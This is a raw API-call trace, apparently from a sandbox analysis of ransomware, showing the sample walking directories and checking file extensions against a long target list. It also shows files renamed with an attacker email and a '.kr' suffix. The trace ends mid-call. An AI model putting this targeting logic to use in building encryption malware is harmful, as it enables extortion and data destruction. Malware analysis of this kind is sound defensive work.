lstrlenW (lpString=".mef") returned 4 [0081.841] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0081.841] lstrlenW (lpString=".mft") returned 4 [0081.841] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0081.841] lstrlenW (lpString=".mfw") returned 4 [0081.841] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0081.841] lstrlenW (lpString=".mht") returned 4 [0081.841] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0081.841] lstrlenW (lpString=".mhtml") returned 6 [0081.841] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0081.841] lstrlenW (lpString=".mka") returned 4 [0081.841] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0081.841] lstrlenW (lpString=".mkidx") returned 6 [0081.841] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0081.841] lstrlenW (lpString=".mkv") returned 4 [0081.841] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0081.841] lstrlenW (lpString=".mos") returned 4 [0081.841] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0081.841] lstrlenW (lpString=".mov") returned 4 [0081.841] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0081.841] lstrlenW (lpString=".mp3") returned 4 [0081.841] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0081.841] lstrlenW (lpString=".mp4") returned 4 [0081.841] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0081.841] lstrlenW (lpString=".mpeg") returned 5 [0081.842] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0081.842] lstrlenW (lpString=".mpg") returned 4 [0081.842] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0081.842] lstrlenW (lpString=".mpv") returned 4 [0081.842] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0081.842] lstrlenW (lpString=".mrw") returned 4 [0081.842] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0081.842] lstrlenW (lpString=".msg") returned 4 [0081.842] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0081.842] lstrlenW (lpString=".mxl") returned 4 [0081.842] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0081.842] lstrlenW (lpString=".myd") returned 4 [0081.842] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0081.842] lstrlenW (lpString=".myi") returned 4 [0081.842] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0081.842] lstrlenW (lpString=".nef") returned 4 [0081.842] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0081.842] lstrlenW (lpString=".nrw") returned 4 [0081.842] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0081.842] lstrlenW (lpString=".obj") returned 4 [0081.842] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0081.842] lstrlenW (lpString=".odb") returned 4 [0081.842] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0081.842] lstrlenW (lpString=".odc") returned 4 [0081.842] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0081.842] lstrlenW (lpString=".odm") returned 4 [0081.843] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0081.843] lstrlenW (lpString=".odp") returned 4 [0081.843] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0081.843] lstrlenW (lpString=".ods") returned 4 [0081.843] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0081.843] lstrlenW (lpString=".oft") returned 4 [0081.843] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0081.843] lstrlenW (lpString=".one") returned 4 [0081.843] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0082.318] lstrlenW (lpString=".onepkg") returned 7 [0082.318] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0082.318] lstrlenW (lpString=".onetoc2") returned 8 [0082.318] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0082.318] lstrlenW (lpString=".opt") returned 4 [0082.318] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0082.318] lstrlenW (lpString=".oqy") returned 4 [0082.318] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0082.318] lstrlenW (lpString=".orf") returned 4 [0082.319] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0082.319] lstrlenW (lpString=".p12") returned 4 [0082.319] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0082.319] lstrlenW (lpString=".p7b") returned 4 [0082.319] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0082.319] lstrlenW (lpString=".p7c") returned 4 [0082.319] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0082.319] lstrlenW (lpString=".pam") returned 4 [0082.319] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0082.319] lstrlenW (lpString=".pbm") returned 4 [0082.319] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0082.319] lstrlenW (lpString=".pct") returned 4 [0082.319] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0082.319] lstrlenW (lpString=".pcx") returned 4 [0082.319] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0082.319] lstrlenW (lpString=".pdd") returned 4 [0082.319] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0082.319] lstrlenW (lpString=".pdf") returned 4 [0082.319] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0082.319] lstrlenW (lpString=".pdp") returned 4 [0082.320] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0082.320] lstrlenW (lpString=".pef") returned 4 [0082.320] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0082.320] lstrlenW (lpString=".pem") returned 4 [0082.320] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0082.320] lstrlenW (lpString=".pff") returned 4 [0082.320] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0082.320] lstrlenW (lpString=".pfm") returned 4 [0082.320] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0082.320] lstrlenW (lpString=".pfx") returned 4 [0082.320] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0082.320] lstrlenW (lpString=".pgm") returned 4 [0082.320] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0082.320] lstrlenW (lpString=".php") returned 4 [0082.320] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0082.320] lstrlenW (lpString=".php3") returned 5 [0082.320] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0082.320] lstrlenW (lpString=".php4") returned 5 [0082.320] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0082.320] lstrlenW (lpString=".php5") returned 5 [0082.320] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0082.320] lstrlenW (lpString=".phtml") returned 6 [0082.321] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0082.321] lstrlenW (lpString=".pict") returned 5 [0082.321] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0082.321] lstrlenW (lpString=".pl") returned 3 [0082.321] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0082.321] lstrlenW (lpString=".pls") returned 4 [0082.321] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0082.321] lstrlenW (lpString=".pm") returned 3 [0082.321] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0082.321] lstrlenW (lpString=".png") returned 4 [0082.321] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0082.321] lstrlenW (lpString=".pnm") returned 4 [0082.321] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0082.321] lstrlenW (lpString=".pot") returned 4 [0082.321] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0082.321] lstrlenW (lpString=".potm") returned 5 [0082.321] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0082.321] lstrlenW (lpString=".potx") returned 5 [0082.321] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0082.321] lstrlenW (lpString=".ppa") returned 4 [0082.321] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0082.321] lstrlenW (lpString=".ppam") returned 5 [0082.321] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0082.321] lstrlenW (lpString=".ppm") returned 4 [0082.321] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0082.321] lstrlenW (lpString=".pps") returned 4 [0082.322] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0082.322] lstrlenW (lpString=".ppsm") returned 5 [0082.322] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0082.322] lstrlenW (lpString=".ppt") returned 4 [0082.322] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0082.322] lstrlenW (lpString=".pptm") returned 5 [0082.322] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0082.322] lstrlenW (lpString=".pptx") returned 5 [0082.322] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0082.322] lstrlenW (lpString=".prn") returned 4 [0082.322] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0082.322] lstrlenW (lpString=".ps") returned 3 [0082.322] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0082.322] lstrlenW (lpString=".psb") returned 4 [0082.322] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0082.322] lstrlenW (lpString=".psd") returned 4 [0082.322] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0082.322] lstrlenW (lpString=".pst") returned 4 [0082.322] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0082.322] lstrlenW (lpString=".ptx") returned 4 [0082.322] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0082.322] lstrlenW (lpString=".pub") returned 4 [0082.322] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0082.322] lstrlenW (lpString=".pwm") returned 4 [0082.322] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0082.322] lstrlenW (lpString=".pxr") returned 4 [0082.322] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0082.322] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc2dcf9c0, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2dcf9c0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2df5c2f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0082.323] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0082.323] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0082.323] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0082.323] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0082.323] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0082.323] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0082.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028") returned 26 [0082.323] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc3f3f362, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0082.323] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc3f3f362, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.323] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc2df5c2f, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2df5c2f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2df5c2f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0082.324] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0082.324] lstrlenW (lpString=".1cd") returned 4 [0082.324] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0082.324] lstrlenW (lpString=".3ds") returned 4 [0082.324] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0082.324] lstrlenW (lpString=".3fr") returned 4 [0082.324] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0082.324] lstrlenW (lpString=".3g2") returned 4 [0082.324] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0082.324] lstrlenW (lpString=".3gp") returned 4 [0082.324] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0082.324] lstrlenW (lpString=".7z") returned 3 [0082.324] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0082.324] lstrlenW (lpString=".accda") returned 6 [0082.324] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0082.324] lstrlenW (lpString=".accdb") returned 6 [0082.324] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0082.324] lstrlenW (lpString=".accdc") returned 6 [0082.324] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0082.324] lstrlenW (lpString=".accde") returned 6 [0082.324] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0082.324] lstrlenW (lpString=".accdt") returned 6 [0082.324] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0082.324] lstrlenW (lpString=".accdw") returned 6 [0082.324] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0082.324] lstrlenW (lpString=".adb") returned 4 [0082.324] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0082.324] lstrlenW (lpString=".adp") returned 4 [0082.324] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0082.324] lstrlenW (lpString=".ai") returned 3 [0082.325] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0082.325] lstrlenW (lpString=".ai3") returned 4 [0082.325] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0082.325] lstrlenW (lpString=".ai4") returned 4 [0082.325] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0082.325] lstrlenW (lpString=".ai5") returned 4 [0082.325] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0082.325] lstrlenW (lpString=".ai6") returned 4 [0082.325] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0082.325] lstrlenW (lpString=".ai7") returned 4 [0082.325] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0082.325] lstrlenW (lpString=".ai8") returned 4 [0082.325] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0082.325] lstrlenW (lpString=".anim") returned 5 [0082.325] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0082.325] lstrlenW (lpString=".arw") returned 4 [0082.325] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0082.325] lstrlenW (lpString=".as") returned 3 [0082.325] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0082.325] lstrlenW (lpString=".asa") returned 4 [0082.325] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0082.325] lstrlenW (lpString=".asc") returned 4 [0082.326] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0082.326] lstrlenW (lpString=".ascx") returned 5 [0082.326] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0082.326] lstrlenW (lpString=".asm") returned 4 [0082.326] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0082.326] lstrlenW (lpString=".asmx") returned 5 [0082.326] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0082.326] lstrlenW (lpString=".asp") returned 4 [0082.326] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0082.326] lstrlenW (lpString=".aspx") returned 5 [0082.326] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0082.326] lstrlenW (lpString=".asr") returned 4 [0082.326] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0082.326] lstrlenW (lpString=".asx") returned 4 [0082.326] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0082.326] lstrlenW (lpString=".avi") returned 4 [0082.326] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0082.326] lstrlenW (lpString=".avs") returned 4 [0082.326] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0082.326] lstrlenW (lpString=".backup") returned 7 [0082.326] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0082.326] lstrlenW (lpString=".bak") returned 4 [0082.326] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0082.326] lstrlenW (lpString=".bay") returned 4 [0082.326] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0082.326] lstrlenW (lpString=".bd") returned 3 [0082.327] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0082.327] lstrlenW (lpString=".bin") returned 4 [0082.327] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0082.327] lstrlenW (lpString=".bmp") returned 4 [0082.327] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0082.327] lstrlenW (lpString=".bz2") returned 4 [0082.327] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0082.327] lstrlenW (lpString=".c") returned 2 [0082.327] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0082.327] lstrlenW (lpString=".cdr") returned 4 [0082.327] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0082.327] lstrlenW (lpString=".cer") returned 4 [0082.327] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0082.327] lstrlenW (lpString=".cf") returned 3 [0082.327] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0082.327] lstrlenW (lpString=".cfc") returned 4 [0082.327] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0082.327] lstrlenW (lpString=".cfm") returned 4 [0082.327] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0082.327] lstrlenW (lpString=".cfml") returned 5 [0082.327] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0082.327] lstrlenW (lpString=".cfu") returned 4 [0082.327] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0082.327] lstrlenW (lpString=".chm") returned 4 [0082.327] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0082.327] lstrlenW (lpString=".cin") returned 4 [0082.327] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0082.327] lstrlenW (lpString=".class") returned 6 [0082.327] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0082.327] lstrlenW (lpString=".clx") returned 4 [0082.327] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0082.327] lstrlenW (lpString=".config") returned 7 [0082.327] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0082.328] lstrlenW (lpString=".cpp") returned 4 [0082.328] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0082.328] lstrlenW (lpString=".cr2") returned 4 [0082.328] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0082.328] lstrlenW (lpString=".crt") returned 4 [0082.328] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0082.328] lstrlenW (lpString=".crw") returned 4 [0082.328] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0082.328] lstrlenW (lpString=".cs") returned 3 [0082.328] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0082.328] lstrlenW (lpString=".css") returned 4 [0082.328] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0082.328] lstrlenW (lpString=".csv") returned 4 [0082.328] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0082.328] lstrlenW (lpString=".cub") returned 4 [0082.328] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0082.328] lstrlenW (lpString=".dae") returned 4 [0082.328] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0082.328] lstrlenW (lpString=".dat") returned 4 [0082.328] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0082.328] lstrlenW (lpString=".db") returned 3 [0082.328] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0082.328] lstrlenW (lpString=".dbf") returned 4 [0082.328] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0082.328] lstrlenW (lpString=".dbx") returned 4 [0082.328] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0082.328] lstrlenW (lpString=".dc3") returned 4 [0082.328] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0082.328] lstrlenW (lpString=".dcm") returned 4 [0082.329] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0082.329] lstrlenW (lpString=".dcr") returned 4 [0082.329] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0082.329] lstrlenW (lpString=".der") returned 4 [0082.329] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0082.329] lstrlenW (lpString=".dib") returned 4 [0082.329] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0082.329] lstrlenW (lpString=".dic") returned 4 [0082.329] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0082.329] lstrlenW (lpString=".dif") returned 4 [0082.329] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0082.329] lstrlenW (lpString=".divx") returned 5 [0082.329] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0082.329] lstrlenW (lpString=".djvu") returned 5 [0082.329] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0082.329] lstrlenW (lpString=".dng") returned 4 [0082.329] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0082.329] lstrlenW (lpString=".doc") returned 4 [0082.329] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0082.329] lstrlenW (lpString=".docm") returned 5 [0082.329] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0082.329] lstrlenW (lpString=".docx") returned 5 [0082.329] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0082.329] lstrlenW (lpString=".dot") returned 4 [0082.329] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0082.329] lstrlenW (lpString=".dotm") returned 5 [0082.330] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0082.330] lstrlenW (lpString=".dotx") returned 5 [0082.330] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0082.330] lstrlenW (lpString=".dpx") returned 4 [0082.330] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0082.330] lstrlenW (lpString=".dqy") returned 4 [0082.330] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0082.330] lstrlenW (lpString=".dsn") returned 4 [0082.330] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0082.330] lstrlenW (lpString=".dt") returned 3 [0082.330] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0082.330] lstrlenW (lpString=".dtd") returned 4 [0082.330] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0082.330] lstrlenW (lpString=".dwg") returned 4 [0082.330] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0082.330] lstrlenW (lpString=".dwt") returned 4 [0082.330] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0082.330] lstrlenW (lpString=".dx") returned 3 [0082.330] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0082.330] lstrlenW (lpString=".dxf") returned 4 [0082.330] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0082.330] lstrlenW (lpString=".edml") returned 5 [0082.330] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0082.330] lstrlenW (lpString=".efd") returned 4 [0082.330] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0082.330] lstrlenW (lpString=".elf") returned 4 [0082.330] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0082.330] lstrlenW (lpString=".emf") returned 4 [0082.330] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0082.330] lstrlenW (lpString=".emz") returned 4 [0082.330] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0082.330] lstrlenW (lpString=".epf") returned 4 [0082.331] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0082.331] lstrlenW (lpString=".eps") returned 4 [0082.331] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0082.331] lstrlenW (lpString=".epsf") returned 5 [0082.331] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0082.331] lstrlenW (lpString=".epsp") returned 5 [0082.331] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0082.331] lstrlenW (lpString=".erf") returned 4 [0082.331] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0082.331] lstrlenW (lpString=".exr") returned 4 [0082.331] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0082.331] lstrlenW (lpString=".f4v") returned 4 [0082.331] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0082.331] lstrlenW (lpString=".fido") returned 5 [0082.331] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0082.331] lstrlenW (lpString=".flm") returned 4 [0082.331] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0082.331] lstrlenW (lpString=".flv") returned 4 [0082.331] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0082.331] lstrlenW (lpString=".frm") returned 4 [0082.331] lstrcmpiW (lpString1=".frm", 